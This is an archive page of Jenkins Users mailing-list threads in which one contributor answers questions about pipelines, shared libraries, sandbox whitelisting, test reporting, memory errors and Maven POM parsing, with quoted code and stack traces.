Re: Adding java libraries to jenkins

2019-03-10 Thread Jan Monterrubio
Like a global jar that gets added to the class path?

On Sun, Mar 10, 2019 at 9:12 AM Peter Berghold 
wrote:

> How would I go about adding java libraries to jenkins?  I may not be
> voicing what I'm trying to do very well so I'll go into a little detail.
>
> I'd like to set up a library of beans such as one reflective of the
> contents of a list of s3 files with the creation date, size and filename as
> a structure.
>
> Is this even possible?
>
> --
>
> Peter L. Berghold   salty.cowd...@gmail.com
>
> http://devops.berghold.net
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAArvnv3DcvcDrOSCiwA8PHJJHKR4RSX2EKMA0qoOyt41h98aDw%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Ktn07Nhan6xCY%3DEegG3P97qkbiB%3D0z1yM_vekfepjAmQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: @Whitelist pipeline from multibranch project or allow out of sandbox

2019-03-20 Thread Jan Monterrubio
There’s an admin view for white listing method calls. If you don’t have
admin access you can’t see it.

On Wed, Mar 20, 2019 at 14:03 Guybrush Threepwood 
wrote:

> hello I have a Jenkins fileas part of a multibranch pipeline But I'm
> getting seccurityissues when trying to create a directory inside the
> workspace how can either disable the sandbox for this pipeline or whitelist
> the methods I need to use from my code
> Thanks.
> This is the code:
> 
> import java.io.File;
> import java.io.IOException;
> import org.apache.commons.io.FileUtils;
>
> //autocancelled = false
> node ('AnsibleBuild') {
> try {
> checkout scm
> def versions = readJSON file: 'versions.json'
> stage('Getting Python source Code') {
> echo " before del try"
> try {
> echo "inside try";
> *File f = new File("python");*
> echo "after new file";
> //FileUtils.cleanDirectory(f);
> //clean out directory (this is optional -- but good know)
> FileUtils.forceDelete(f); //delete
> directory
> //FileUtils.forceMkdir(f);
> //create directory
> }
> catch (IOException e) {
> echo "pinazo cleaning python"
> echo e.getStackTrace();
> } // catch delete dir
>  echo "Despues del try"
>  sh 'pwd'
>  sh 'ls -la'
>  sh 'mkdir python'
> dir("python") {
> echo 'Downloading Python code
> from: https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tgz'
> sh 'curl
> https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tgz -o
> Python-3.7.2.tgz'
> sh 'file Python-3.7.2.tgz' //
> needs to be checked that we downloaded a tgz file
> sh 'tar -xzvf Python-3.7.2.tgz'
> } //dir python
> } // stage
> currentBuild.result = 'SUCCESS'
> } //try node
> catch (e) {
> echo "General Fostion";
> echo "trace General" + e.getStackTrace();
> currentBuild.result = 'FAILURE'
> } //end catch
> try {
>   echo "Cleaning WS"
>   dir(python) {
> deleteDir()
> }
> } //try clena WS
> catch (e) {
> echo "Error Cleaning WS";
> echo "trace cleaning" + e.getStackTrace();
> currentBuild.result = 'FAILURE'
> } //catch clena WS
> } //node
> 
>
> And I'm getting error: for line 14
>
> trace 
> General[org.jenkinsci.plugins.scriptsecurity.sandbox.whitelists.StaticWhitelist.rejectNew(StaticWhitelist.java:184),
>  
> org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onNewInstance(SandboxInterceptor.java:170),
>  org.kohsuke.groovy.sandbox.impl.Checker$3.call(Checker.java:197), 
> org.kohsuke.groovy.sandbox.impl.Checker.checkedConstructor(Checker.java:202), 
> com.cloudbees.groovy.cps.sandbox.SandboxInvoker.constructorCall(SandboxInvoker.java:21),
>  WorkflowScript.run(WorkflowScript:14), ___cps.transform___(Native Method), 
> com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.dispatchOrArg(FunctionCallBlock.java:96),
>  
> com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.fixArg(FunctionCallBlock.java:82),
>  sun.reflect.GeneratedMethodAccessor148.invoke(Unknown Source), 
> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43),
>  java.lang.reflect.Method.invoke(Method.java:498), 
> com.cloudbees.groovy.cps.impl.ContinuationPtr$ContinuationImpl.receive(ContinuationPtr.java:72),
>  com.cloudbees.groovy.cps.impl.ConstantBlock.eval(ConstantBlock.java:21), 
> com.cloudbees.groovy.cps.Next.step(Next.java:83), 
> com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:174), 
> com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:163), 
> org.codehaus.groovy.runtime.GroovyCategorySupport$ThreadCategoryInfo.use(GroovyCategorySupport.java:129),
>  
> org.codehaus.groovy.runtime.GroovyCategorySupport.use(GroovyCategorySupport.java:268),
>  com.cloudbees.groovy.cps.Continuable.run0(Continuable.java:163), 
> org.jenkinsci.plugins.workflow.cps.SandboxContinuable.access$101(SandboxContinuable.java:34),
>  
> org.jenkinsci.plugins.workflow.cps.SandboxContinuable.lambda$run0$0(SandboxContinuable.java:59),
>  
> org.jenkinsci.plugins.scriptsecurity.sandbox.g

Re: how to derive HTTP link to workspace of a scripted parallel pipeline

2019-04-05 Thread Jan Monterrubio
We use the JOB_URL variable to create a link to a published site, like
" ${JOB_URL}/site/index.html".
Would that variable give you enough context of where you want to direct
people to?

On Fri, Apr 5, 2019 at 9:06 AM 'monger_39' via Jenkins Users <
jenkinsci-users@googlegroups.com> wrote:

> we actually do publish the results (using xUnit). But specifically for any
> failed test, we
> want to easily access the detailed (and quite large) log files to analyze
> what went wrong.
> We could also publish all those log files as artifacts, but there are a
> lot of them.
> As such, our current idea is still to find those files within the
> workspace.
>
> On Friday, April 5, 2019, 3:18:10 PM GMT+2, Lukas Resch <
> lukas.re...@ngworx.ag> wrote:
>
>
> Hi,
>
> Am 05.04.2019 um 14:57 schrieb 'monger_39' via Jenkins Users:
> > I have a scripted parallel pipeline job. Within each of the stages test
> steps are run (under NUnit)
> > that generate detailed logs per step, and a summary in the console. To
> make life easier for us we,
> > when a test fail generates an assert, wish to insert a workspace link to
> that detailed file.
> > With that it would be very easy to navigate to the details from the
> TestResult page.
>
> Why are you not just publishing the test results on Jenkins? Thereby you
> would get access to all test details via the web interface rather than
> on the console.
>
> I haven't used NUnit, but the JUnit plugin provides excatly what you
> describe.
>
> HTH
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/bc3f55bc-c265-2d3e-2346-00446002ec60%40ngworx.ag
> .
>
> For more options, visit https://groups.google.com/d/optout.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/1180254799.141475.1554473189711%40mail.yahoo.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LdtUyvUXr1ofk1oonOEjCMRn%2Bv0Ni6NiP2vXTxhutWCg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Unit tests for Scripted Pipeline

2019-04-07 Thread Jan Monterrubio
We've used this fork too  https://github.com/macg33zr/pipelineUnit to unit
test the declarative pipelines


Virus-free.
www.avg.com

<#DAB4FAD8-2DD7-40BB-A1B8-4E2AA1F9FDF2>

On Sun, Apr 7, 2019 at 3:10 PM Sverre Moe  wrote:

> Is it possible to create unit tests for our scripted pipeline?
>
> How can certain sections of the pipeline be mocked, like fetching from
> Git, tagging to Git, Uploading to Nexus?
>
> Anyone been able to fully unit test scripted pipeline?
>
> I found this project at GitHub regarding Unit testing pipelines.
> https://github.com/jenkinsci/JenkinsPipelineUnit
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/bfb4737c-8813-40ef-be39-193d905cd1b8%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LpZ3me7CNQGxog9dqw%3Dw%3D932ZBA%3D_dRc_ASb56rtm1qg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Opinions about aggressive reuse strategy for Jenkins pipelines

2019-04-11 Thread Jan Monterrubio
We’ve taken sort of a middle ground approach with this on our end. We
define standard flows for a particular build system (like maven)

The 80-90% use cases are allowable with our pipeline, consumers only define
eome configuration options in a closure.

For the extra 10% use case, we provide steps you can use “checkoutProject”
“buildSite” etc, so those non standard pipelines can still make use of our
functions.

This has helped us standardize our disjoint development process, on the
pipeline everyone deploys master but only runs verify on branches and PRs.
If that doesn’t fit your use case, and the configuration option doesn’t
work, we either:

1. Have a call for feedback on new option just to see how many of our
consumers need the new behavior
2. Help the consumer team use our functions to make their own pipeline.



On Wed, Apr 10, 2019 at 13:46 Ivan Fernandez Calvo 
wrote:

> It is a fair approach, however my opinion is that the pipeline definition
> (stages and steps) should be in the project pipeline (Jenkinsfile), in the
> shared library we have only steps that make only one thing an they make it
> well or steps that combine several others, every step has his own unit test
> and we release a new version of the library every Monday, all the
> jenkinsfiles load the ’current’ version of the library that it is the
> stable one. In that way we can go backwards between versions without change
> anything in projects. The reason to not put the whole pipeline in the
> library is that at some point you will start to write spaghetti pipeline
> code to cover the whole options needed to all your projects, when that
> fails would be a pain to debug such thing
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/e1ac1fd9-f494-4113-8483-f6f1c2bee739%40googlegroups.com
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BowGKQoF8t4za2V_8goxTB1ARUbVCK3FbgisDKhKpwHQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: shell inside a groovy script doesnt resolve variables ?

2019-04-16 Thread Jan Monterrubio
You might need to set up that variable as an environment variable for the
shell to recognize it

https://jenkins.io/doc/pipeline/tour/environment

https://stackoverflow.com/a/40718201



On Tue, Apr 16, 2019 at 15:23 b o b i  wrote:

> I cannot make the executed shell to resolve a predefined variable in my
> jenkins script.. I tried various syntax approaches w/o succcess. ..
>
> Anybody could give me a hand?
>
>
> String workspace
> String addOn = "Path/To/Cmake.cmake"
>
> node ('slave01') {
> workspace = pwd()
> String addOnAbsPath = "${workspace}/$toolchainCmake"
>
> stage ('Build') {
>
> // for some reason is not recognize, thats why
> sh "echo ${addOnAbsPath}"
> sh '''
> echo Path: '$addOnAbsPath'
>'''
> sh '''#!/bin/bash
>echo ${addOnAbsPath}
>cmake ... -DADD_ON=$addOnAbsPath ...
> '''
> }
> }
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/01535995-02a9-46ce-8388-ca01695dbbb9%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KCHuh%3DMjmCPBb1OOk7x1Cppbs%2B4V38ALFeG6Lki_rg-A%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re:

2019-05-04 Thread Jan Monterrubio
You can act on push events. GitHub would have to notify Jenkins of the
event.

https://developer.github.com/v3/activity/events/types/

https://developer.github.com/webhooks/


On Sat, May 4, 2019 at 07:49 Renato Marcandier 
wrote:

> Is there a way for Github or Jenkins to detect when a file has been added
> to, modified or deleted from a Github repo so that it can trigger scripts
> (e.g. trigger an automatic dry-run of the proposed change in NSO for
> someone to review)?
>
> Renato Marcandier
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAGbJOOgGyvyYkD7BVLymibgMNkxfF3hD_ExzDwfo9-cwQrPwsg%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Jrrxdyu6eu5r6Kt-xonMXixQbaYmuXtdbDGwtYXCmFtw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Unable to build Vue js project through Jenkins

2019-05-18 Thread Jan Monterrubio
Can you use any command on the windows agent? Let’s double check that
things are running on it. Try to just echo something.

Is npm installed? If not you’d get a command not found error when running.

On Wed, May 15, 2019 at 15:17 LP  wrote:

> Hi, I am new to Jenkins but have done a few builds/deployment jobs of .net
> project successfully. Now I am trying to build/deploy  Vue js project
> through Jenkins but just cannot get through...
> I can build the project directly on a server using command prompt. It
> builds and creates files for deployment in a right directory.
> When I am trying to do it in Jenkins job (using the same npm commands) it
> does not give any error messages, says it built successfully but it does
> NOT create any files for deployment.
> Does anybody encounter this problem? Did anybody build Vue js project
> through Jenkins? Any help appreciated. Thanks!
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/c3eb0ee9-6aac-4c5d-8d59-9282310b7a80%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JyHqhr4P%2BJCnpQSW%2BQ0BDkVDrtAajX7p8fwU3JLuZbHA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Memory issues with Jenkins

2019-07-04 Thread Jan Monterrubio
Correct me if I’m wrong but I don’t think increasing heap size will
actually affect your ability to create more native threads.

See this for a possible explanation:
https://plumbr.io/outofmemoryerror/unable-to-create-new-native-thread

On Thu, Jul 4, 2019 at 16:03 Baptiste Mathus  wrote:

> Did you enable GC logging to have a better understanding of the profile of
> your memory consumption? If not, I would recommend you do it first and
> analyze them.
> https://jenkins.io/blog/2016/11/21/gc-tuning/ explained this part (and
> much more) quite well.
>
> Then, once you understand better when it crashes, possibly you'll want to
> analyze a heap dump to see what is causing the problem.
>
> Cheers
>
>
> Le mar. 2 juil. 2019 à 15:30, Sverre Moe  a écrit :
>
>> Today it has been chaotic.
>> Several build agents disconnected
>>
>> Unexpected termination of the channel
>>
>> Many builds failed because of Memory error.
>>
>> I have tried restarting Jenkins several times today.
>>
>> Anyone have any suggestions?
>>
>> tirsdag 2. juli 2019 14.34.25 UTC+2 skrev Sverre Moe følgende:
>>>
>>> We have assigned 8GB of memory to our Jenkins instance.
>>> JAVA_OPTIONS=-Xmx8g
>>>
>>> Still we experience memory issues after a while running.
>>> java.lang.OutOfMemoryError: unable to create new native thread
>>>
>>> We have:
>>> aprox 40 connected build agents
>>> aprox 400 pipeline jobs
>>>
>>> We have a test Jenkins instance running with the same jobs, this one
>>> connects to the same build agents (though on a different home directory).
>>>
>>> Lately we have been getting disconnected build agents, that we cannot
>>> get up again without restarting Jenkins.
>>>
>>> Can we assign more memory to a build agent? Would it have any affect on
>>> this issue?
>>>
>>> This we got from one of our latest Pipeline builds that failed on a
>>> sh("find  -exec ***") step. It failed on that build agent that is now
>>> disconnected.
>>>
>>>
>>> java.lang.OutOfMemoryError: unable to create new native thread
>>> at java.lang.Thread.start0(Native Method)
>>> at java.lang.Thread.start(Thread.java:714)
>>> at 
>>> java.util.concurrent.ThreadPoolExecutor.addWorker(ThreadPoolExecutor.java:950)
>>> at 
>>> java.util.concurrent.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1368)
>>> at java.lang.UNIXProcess.initStreams(UNIXProcess.java:288)
>>> at java.lang.UNIXProcess.lambda$new$2(UNIXProcess.java:258)
>>> at java.security.AccessController.doPrivileged(Native Method)
>>> at java.lang.UNIXProcess.(UNIXProcess.java:257)
>>> at java.lang.ProcessImpl.start(ProcessImpl.java:134)
>>> at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
>>> at hudson.Proc$LocalProc.(Proc.java:249)
>>> Also:   java.io.IOException: error=11, Resource temporarily unavailable
>>>
>>>
>>>
>>>
>>> SEVERE: Unexpected error when retrieving changeset
>>> hudson.plugins.git.GitException: Error: git whatchanged --no-abbrev -M
>>> "--format=commit %H%ntree %T%nparent %P%nauthor %aN <%aE> %
>>> ai%ncommitter %cN <%cE> %ci%n%n%w(76,4,4)%s%n%n%b" -n 1
>>> b2c871830a03ea5f2fd2b21245afb09d51d69686 in /home/build/jenkins/workspace/
>>> project_user_work
>>>at
>>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl$6.execute(CliGitAPIImpl.java:1012)
>>>
>>>at
>>> org.jenkinsci.plugins.gitclient.RemoteGitImpl$CommandInvocationHandler$1.call(RemoteGitImpl.java:153)
>>>
>>>at
>>> org.jenkinsci.plugins.gitclient.RemoteGitImpl$CommandInvocationHandler$1.call(RemoteGitImpl.java:146)
>>>
>>>at hudson.remoting.UserRequest.perform(UserRequest.java:212)
>>>at hudson.remoting.UserRequest.perform(UserRequest.java:54)
>>>at hudson.remoting.Request$2.run(Request.java:369)
>>>at
>>> hudson.remoting.InterceptingExecutorService$1.call(InterceptingExecutorService.java:72)
>>>
>>>at java.util.concurrent.FutureTask.run(FutureTask.java:266)
>>>at
>>> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
>>>
>>>at
>>> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
>>>
>>>at java.lang.Thread.run(Thread.java:748)
>>>Suppressed: hudson.remoting.Channel$CallSiteStackTrace: Remote
>>> call to master-sles12.3-x86_64_3
>>>at
>>> hudson.remoting.Channel.attachCallSiteStackTrace(Channel.java:1741)
>>>at
>>> hudson.remoting.UserRequest$ExceptionResponse.retrieve(UserRequest.java:357)
>>>
>>>at hudson.remoting.Channel.call(Channel.java:955)
>>>at
>>> org.jenkinsci.plugins.gitclient.RemoteGitImpl$CommandInvocationHandler.execute(RemoteGitImpl.java:146)
>>>
>>>at sun.reflect.GeneratedMethodAccessor678.invoke(Unknown
>>> Source)
>>>at
>>> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
>>>
>>> 

Re: Jenkins programming using DSL

2019-07-10 Thread Jan Monterrubio
Are you looking for this:
https://jenkins.io/doc/pipeline/tour/getting-started/ ?

On Wed, Jul 10, 2019 at 01:38 chenna keshav  wrote:

> Hi Guys,
>
> I am new to Jenkins... Can any one suggest a tutorial to learn Jenkins
> programming using DSL..
>
> Thanks,
> Keshav.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/0de9d39f-fa6a-456d-993f-9cbd092a84bd%40googlegroups.com
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JoK3TDvAMKn-m%3DcqK2-hme96kBvqR21rGjo2%2BPCW3-tg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: How to do MulitLanguage in Jenkinsfile

2019-07-27 Thread Jan Monterrubio
Could you use the docker plugin and run each thing within a container built
for that tech stack?!

On Wed, Jul 24, 2019 at 15:24 Dennis Kavanagh 
wrote:

> Hello,
>
> I have to include Python, Java, and Javascript
>
> in my 3 different code scanners: SonarQube, Fortify and NexusIQ in the
> most pleasing manner possible
>
> in the same Jenkinsfile?
>
> Any hints GREATLY appreciated ..
>
> Thank You
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/e11b968e-b299-44a0-ab5f-d2a982182aab%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KLTsJWZ-wDAJg35h%2BK%3DzcfQ1nsnnJdR3TXA929mnJsBA%40mail.gmail.com.


Re: Disable build buttons to everyone except some users

2019-07-28 Thread Jan Monterrubio
There’s a security plugin that lets you control a whole bunch of things. It
might be default install and under the Configure security menu


Maybe the project matrix authorization plugin will do what you want.

https://wiki.jenkins.io/plugins/servlet/mobile?contentId=69763858#content/view/69763858


On Sun, Jul 28, 2019 at 15:51 Vijay Gongle  wrote:

> Hi,
> Our Jenkins is set up in such a way that everyone has build access to all
> the jobs.
> How can I restrict the build access to everyone except few admin users so
> that not everyone has permissions to build the job.
>
> Thanks in advance.
>
> Vijay
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/c5adb0f2-cf7f-46a4-bf2f-a88931a76770%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KT8LVF%2BagCFk9prWPYmahi4hN2r5m2zexN6AzEDKQ_%3DA%40mail.gmail.com.


Re: JUnit Results not parsing in Jenkinsfile-based Pipeline Build

2019-08-21 Thread Jan Monterrubio
I’ve found success debugging through the plug-ins by using a combination of:

- the Jenkins Test harness
- the plugin as a dependency
- using the Jenkins rule to run a job and hit the plugins breakpoint.

Here’s some resources that might help:

https://github.com/jenkinsci/jenkins-test-harness
https://github.com/jenkinsci/gradle-jpi-plugin
https://jenkins.io/doc/developer/testing/

I’d start with a fresh gradle project and add the jpi and test harness and
get that working and then adding the dependencies.

The jpi plugin should let you use plugins as dependencies (and your ide
might be able to download the sources for you to debug.

On Tue, Aug 20, 2019 at 19:25 Matt Hollingsworth 
wrote:

> Hi Ullrich,
>
> Thanks for the suggestion! I tried that, and still saw the problem.
> Speficially, I did this:
>
> stage (“Unit tests”) {
>   sh “runtests.sh”
>   sh “cat build/pytest.xml”
>   junit testResults: “**/build/pytest.xml"
> }
>
> Are there instructions anywhere for how to setup a dev environment for
> plugins? I’m happy to debug this myself, I’m just not sure exactly where to
> start.
>
>
> Best,
> Matt
> On Aug 18, 2019, 1:52 PM -0700, Ullrich Hafner ,
> wrote:
>
> Shoudn’t the command use ’testResults’ as parameter name?
>
> junit testResults: '**/build/pytest.xml'
>
>
>
> Am 18.08.2019 um 06:42 schrieb Matt Hollingsworth :
>
> Hi everyone,
>
> I ran into a weird issue that I thought you might be able to help
> troubleshoot. I'm using Jenkinsfile-based Pipelines with python, and I use
> pytest to produce JUnit-compatible reports after the tests are run. The
> problem is that I get an error when I try to parse the results with the
> junit step: "No test report files were found. Configuration error?" Here
> are the relevant parts of the Jenkinsfile:
>
> stage("Unit tests") {
>   steps {
> sh "runtests.sh" // This produces build/pytest.xml
> sh "cat build/pytest.xml"
> junit 'build/pytest.xml'
>   }
> }
>
> The sh’s cat command runs properly and prints out a properly formatted
> junit xml file--I can parse it with junit-viewer, for example. But I still
> get the error. Any idea what's going on, or how I could debug this properly?
>
> Thanks for the help!
>
> Best,
> Matt
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/8e1eae66-4c8b-4de0-9d9e-e0474a7ab93c%40googlegroups.com
> 
> .
>
>
> --
> You received this message because you are subscribed to a topic in the
> Google Groups "Jenkins Users" group.
> To unsubscribe from this topic, visit
> https://groups.google.com/d/topic/jenkinsci-users/Rw49YOnH-nk/unsubscribe.
> To unsubscribe from this group and all its topics, send an email to
> jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/D0E7E558-57F6-4B92-8724-3D7156A5EA96%40gmail.com
> 
> .
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/e978431c-ab29-4df5-8e0b-d4adbfcf1e85%40Spark
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KCkHCTkgEMBR-R_LB49k2Ug5g8Yv0kiYvpNkKS7HcyWA%40mail.gmail.com.


Re: Maven 3.6.1 POM changes, issue for Jenkins??? [JENKINS-59078]

2019-08-27 Thread Jan Monterrubio
I assume this is happening with the MavenProject job? Could you move to a
free style project with a maven step instead? (In the interim?)

On Mon, Aug 26, 2019 at 13:27 Jason Pyeron  wrote:

> I have exceeded my time bound abilities to fix/mitigate this.
>
> It is because the maven-core:3.5.4 is the basis for embedding, it cannot
> parse the new pom attributes.
>
> I put as much as I could in the ticket. Welcome any ideas to mitigate or
> fix this.
>
> -Jason
>
> > -Original Message-
> > From: jenkinsci-users@googlegroups.com 
> On Behalf Of Jason Pyeron
> > Sent: Monday, August 26, 2019 10:58 AM
> > To: jenkinsci-users@googlegroups.com
> > Subject: Maven 3.6.1 POM changes, issue for Jenkins??? [JENKINS-59078]
> >
> > It seems that Jenkins is having issues "parsing POMs" when they include
> the new pom.xml elements and
> > attributes.
> >
> > Is anyone else seeing this? Does anyone have a work around?
> >
> > I opened JENKINS-59078 - jenkins Malformed POM Unknown attribute
> 'child.scm.url.inherit.append.path'
> > for tag 'scm'
> >
> > see branches demonstrates-JENKINS-59078 and mitigation-JENKINS-59078 @
> https://github.com/pdinc-
> > oss/lombok.maven/
> >
> > Parsing POMs
> > ERROR: Failed to parse POMs
> > hudson.remoting.ProxyException:
> hudson.maven.MavenModuleSetBuild$MavenExecutionException:
> > org.apache.maven.project.ProjectBuildingException: Some problems were
> encountered while processing the
> > POMs:
> > [ERROR] Malformed POM /var/lib/jenkins/workspace/xxx/pom.xml: Unknown
> attribute
> > 'child.scm.url.inherit.append.path' for tag 'scm' (position: START_TAG
> seen ...\n\n   > child.scm.url.inherit.append.path="false">... @39:50)  @
> /var/lib/jenkins/workspace/xxx/pom.xml, line
> > 39, column 50
> >
> >   at
> hudson.maven.MavenModuleSetBuild$PomParser.invoke(MavenModuleSetBuild.java:1390)
> >   at
> hudson.maven.MavenModuleSetBuild$PomParser.invoke(MavenModuleSetBuild.java:1126)
> >   at hudson.FilePath$FileCallableWrapper.call(FilePath.java:3052)
> >   at hudson.remoting.UserRequest.perform(UserRequest.java:211)
> >   at hudson.remoting.UserRequest.perform(UserRequest.java:54)
> >   at hudson.remoting.Request$2.run(Request.java:369)
> >   at
> hudson.remoting.InterceptingExecutorService$1.call(InterceptingExecutorService.java:72)
> >   at java.util.concurrent.FutureTask.run(FutureTask.java:266)
> >   at
> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
> >   at
